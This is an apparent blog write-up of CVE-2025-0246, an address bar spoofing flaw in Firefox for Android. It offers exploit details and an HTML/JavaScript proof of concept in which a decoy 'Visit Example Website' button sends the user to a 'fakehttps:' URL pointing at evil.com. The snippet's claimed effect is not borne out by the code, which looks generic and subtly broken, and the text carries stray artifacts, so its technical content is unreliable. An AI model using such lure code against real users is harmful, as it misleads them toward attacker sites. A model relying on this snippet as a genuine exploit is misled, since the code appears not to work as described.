A new security issue has been discovered and assigned the identifier CVE-2025-0246 that affects Firefox browsers on Android devices. This vulnerability could allow an attacker to exploit an invalid protocol scheme and spoof the address bar, which in turn, could mislead users and trick them into visiting malicious websites. This article provides an overview of the vulnerability, code snippets demonstrating how it works, references to original sources, and details on exploiting the vulnerability.

Background

The Mozilla Firefox team recently identified an address bar spoofing vulnerability in their browser, specifically on Android devices. When Firefox processes an invalid protocol scheme in a URL, it does not correctly determine the displayed URL in the address bar. Thus, an attacker could use this vulnerability to display the URL of a seemingly trusted website in the address bar, while the user is actually visiting a malicious website.

It is important to note that this vulnerability only affects Android operating systems, and it is separate from the CVE-2025-0244 vulnerability. Firefox versions prior to 134 are affected by this vulnerability.

Exploit Details

An attacker could exploit this vulnerability by using a specially crafted URL that includes an invalid protocol scheme. When the user follows this link, the browser will display the URL of a trusted website in the address bar, but the content displayed on the page is actually hosted on the attacker's malicious website.

Code Snippet

Below is a simple example demonstrating how an attacker could exploit the address bar spoofing vulnerability:

<!DOCTYPE html>
<html>
<head>
    <title>Evil Website</title>
    <script>
        function exploit() {
            var fakeUrl = "https://www.example.com";;
            var invalidProtocol = "fakehttps:";
            var maliciousContent = "https://www.evil.com/malicious-content";;

            var payload = invalidProtocol + "//" + fakeUrl + "@" + maliciousContent;
            window.location = payload;
        }
    </script>
</head>
<body>
    <button onclick="exploit()">Visit Example Website</button>
</body>
</html>

In this example, the attacker creates a URL with an invalid protocol scheme ("fakehttps:") by concatenating the fake URL (www.example.com) and malicious content hosted at www.evil.com/malicious-content. When the user clicks on the "Visit Example Website" button, the browser navigates to the attacker's URL, but the address bar displays "https://www.example.com".

The Mozilla Foundation issued a security advisory detailing the vulnerability (CVE-2025-0246)

- Mozilla Foundation Security Advisory 2025-42: Spoofing of the address bar can occur due to mishandling of invalid protocol schemes.

Additionally, the National Vulnerability Database (NVD) provides further details on this vulnerability:

- CVE-2025-0246 Detail: Current Description. An issue was discovered in the Mozilla Firefox web browser before 134.. When Firefox processes an invalid protocol scheme, it does not correctly determine the displayed URL in the address bar.

Mitigation

To protect yourself from this vulnerability, ensure that your Firefox browser is updated to version 134 or later. This can be done through the Google Play Store on your Android device, or by visiting Mozilla's website for the latest version of Firefox.

Conclusion

The address bar spoofing vulnerability (CVE-2025-0246) in Firefox on Android devices is a significant security concern that should not be taken lightly. Users should update their Firefox browsers to the latest version (134 or higher) to ensure that they are not susceptible to this vulnerability. Stay vigilant and keep your software up to date to protect yourself from potential security threats.

Timeline

Published on: 01/07/2025 16:15:39 UTC
Last modified on: 01/08/2025 16:15:37 UTC